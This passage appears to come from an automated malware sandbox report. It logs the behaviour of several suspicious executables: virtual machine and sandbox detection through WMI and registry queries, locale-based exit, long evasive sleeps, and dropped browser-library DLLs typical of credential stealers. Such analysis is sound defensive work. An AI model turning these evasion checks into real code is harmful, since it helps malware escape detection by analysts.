Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Checks if the current machine is a virtual machine (disk enumeration)
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Found evasive API chain (may stop execution after checking locale)
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Evasive API call chain: GetUserDefaultLangID, ExitProcess
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\root\cimv2:Win32_DiskPartition.DeviceID=&quot;Disk #0, Partition #1&quot;} where resultclass = Win32_DiskDrive
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDriveToDiskPartition where Dependent=&quot;Win32_DiskPartition.DeviceID=\&quot;Disk #0, Partition #1\&quot;&quot;
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_LogicalDisk where DeviceId = &apos;C:&apos;
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\ROOT\cimv2:Win32_LogicalDisk.DeviceID=&quot;C:&quot;} where resultclass = Win32_DiskPartition
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_LogicalDiskToPartition where Dependent=&quot;Win32_LogicalDisk.DeviceID=\&quot;C:\&quot;&quot;
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Memory allocated: 2EAC1BA0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Memory allocated: 2EAD9D40000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Memory allocated: 10C0000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Memory allocated: 2D70000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Memory allocated: 4D70000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Memory allocated: 2690000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Memory allocated: 28C0000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Memory allocated: 48C0000 memory reserve | memory write watch
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2866 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 818 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2686 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4101 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3143 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1337 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Window / User API: threadDelayed 4055
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Window / User API: threadDelayed 5586
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Window / User API: threadDelayed 3838
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Window / User API: threadDelayed 5409
Found decision node followed by non-executed suspicious APIs
Source: C:\Users\user\AppData\Local\Temp\i1.exe Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Temp\i1.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u5o8.2\relay.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Dropped PE file which has not been started: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\i1.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u5o8.2\UIxMarketPlugin.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\SecureClient\relay.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ncgdcbnvvkpiwr Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\SecureClient\UIxMarketPlugin.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Dropped PE file which has not been started: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ejfydkiwv Jump to dropped file
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsl17D4.tmp\INetC.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Dropped PE file which has not been started: C:\ProgramData\softokn3.dll Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\i1.exe API coverage: 9.8 %
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe API coverage: 5.4 %
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe API coverage: 1.7 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5644 Thread sleep count: 2866 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5752 Thread sleep count: 818 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7196 Thread sleep time: -5534023222112862s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5220 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4856 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7300 Thread sleep count: 2686 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7300 Thread sleep count: 4101 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7328 Thread sleep time: -8301034833169293s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7316 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7416 Thread sleep count: 3143 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7452 Thread sleep time: -3689348814741908s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7416 Thread sleep count: 1337 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7396 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7432 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7908 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe TID: 7580 Thread sleep time: -24903104499507879s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe TID: 7604 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2588 Thread sleep time: -24903104499507879s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2588 Thread sleep time: -240000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -59259s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2588 Thread sleep time: -59858s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -40924s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2588 Thread sleep time: -59706s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2588 Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -33513s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -35622s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -58502s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -58202s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -59876s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -36321s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -34283s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -50677s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -34124s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -58937s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -56447s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -48201s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -51306s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2892 Thread sleep time: -960000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -39218s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7172 Thread sleep time: -600000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -50081s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -36935s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -36084s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -53169s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -55618s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -50292s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -47055s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -43057s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -51585s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -33894s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -52278s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -42403s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -30888s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -53246s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -56345s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -36235s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -41436s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -38142s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -58389s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -55248s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -50868s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -49915s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -59501s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -56138s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -44928s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -34970s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -40054s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -56865s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -30180s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -59300s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -54744s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -54826s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -48309s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -30374s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -49700s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -46057s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -40463s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -56776s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -47776s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -42856s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -35659s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -44396s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -46105s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -50271s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -48392s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3732 Thread sleep time: -30989s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6840 Thread sleep time: -922337203685477s >= -30000s
Queries disk information (often used to detect virtual machines)
Source: C:\Windows\System32\svchost.exe File opened: PhysicalDrive0
Queries keyboard layouts
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT SerialNumber FROM Win32_BaseBoard
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_BIOS
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT UUID FROM Win32_ComputerSystemProduct
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
